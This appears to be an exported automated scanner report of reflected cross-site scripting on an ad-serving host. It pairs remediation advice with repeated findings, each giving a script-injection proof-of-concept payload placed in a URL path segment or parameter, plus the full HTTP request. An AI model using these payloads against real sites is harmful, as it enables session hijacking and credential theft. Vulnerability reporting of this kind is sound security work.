Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4d00"><script>alert(1)</script>6ba5c94ec89 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframea4d00"><script>alert(1)</script>6ba5c94ec89/3.0/5113.1/221794/0/-1/size=300x250 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 229
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a5ec"><script>alert(1)</script>c42090ec3fb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe/3.09a5ec"><script>alert(1)</script>c42090ec3fb/5113.1/221794/0/-1/size=300x250 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 229
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c91a"><script>alert(1)</script>7a4477580d6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe/3.0/5113.15c91a"><script>alert(1)</script>7a4477580d6/221794/0/-1/size=300x250 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 229
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c338"><script>alert(1)</script>028a4ee8467 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe/3.0/5113.1/2217943c338"><script>alert(1)</script>028a4ee8467/0/-1/size=300x250 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 229
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a0ab"><script>alert(1)</script>35dadf78370 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe/3.0/5113.1/221794/03a0ab"><script>alert(1)</script>35dadf78370/-1/size=300x250 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 229
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cbbe7"><script>alert(1)</script>962e69fed8b was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe/3.0/5113.1/221794/0/-1cbbe7"><script>alert(1)</script>962e69fed8b/size=300x250 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 229
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 311f5"><script>alert(1)</script>dc96217592f was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe/3.0/5113.1/221794/0/-1/size311f5"><script>alert(1)</script>dc96217592f=300x250 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 229
1.8. http://at.atwola.com/adiframe/3.0/5113.1/221794/0/-1/size=300x250 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://at.atwola.com
Path:
/adiframe/3.0/5113.1/221794/0/-1/size=300x250
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71a40"><script>alert(1)</script>c2bc805a2e1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe/3.0/5113.1/221794/0/-1/size=300x250?71a40"><script>alert(1)</script>c2bc805a2e1=1 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 232
The value of the noperf request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1cb87"><script>alert(1)</script>7aeca9e2ce9 was submitted in the noperf parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe/3.0/5113.1/221794/0/-1/size=300x250;noperf=1;alias=1cb87"><script>alert(1)</script>7aeca9e2ce9 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 245
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bc842"><script>alert(1)</script>c6c404c7f34 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframebc842"><script>alert(1)</script>c6c404c7f34/3.0/5113.1/221794/0/-1/size=300x360 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 229
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0ba0"><script>alert(1)</script>2968ba13e9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe/3.0e0ba0"><script>alert(1)</script>2968ba13e9/5113.1/221794/0/-1/size=300x360 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 228
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 87e09"><script>alert(1)</script>f35ee6743db was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe/3.0/5113.187e09"><script>alert(1)</script>f35ee6743db/221794/0/-1/size=300x360 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 229
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9253c"><script>alert(1)</script>2ff6b8beab was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe/3.0/5113.1/2217949253c"><script>alert(1)</script>2ff6b8beab/0/-1/size=300x360 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 228
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21ee4"><script>alert(1)</script>5dbd143813e was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe/3.0/5113.1/221794/021ee4"><script>alert(1)</script>5dbd143813e/-1/size=300x360 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 229
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf01e"><script>alert(1)</script>606359cf405 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe/3.0/5113.1/221794/0/-1bf01e"><script>alert(1)</script>606359cf405/size=300x360 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 229
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5cc9"><script>alert(1)</script>d4da9e8e16c was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe/3.0/5113.1/221794/0/-1/sized5cc9"><script>alert(1)</script>d4da9e8e16c=300x360 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 229
1.17. http://at.atwola.com/adiframe/3.0/5113.1/221794/0/-1/size=300x360 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://at.atwola.com
Path:
/adiframe/3.0/5113.1/221794/0/-1/size=300x360
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7be8"><script>alert(1)</script>81537d575e4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe/3.0/5113.1/221794/0/-1/size=300x360?d7be8"><script>alert(1)</script>81537d575e4=1 HTTP/1.1 Host: at.atwola.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CE45E846E651A454F57E65AF00070C8; ATTAC=a3ZzZWc9OTk5OTk6NTAwODU6NTQwNTc6NjA0OTA6NTAyMTI6NTAyMjA6NjAxODM6NTAyMTY6NTAyMjk6NjAxODU=; Axxd=1; CfP=1; ATTACID=a3Z0aWQ9MTZlOG9xZTAxY2c4ZGU=; AxData=;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 232
The value of the noperf request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c6d8"><script>alert(1)</script>714077859e3 was submitted in the noperf parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.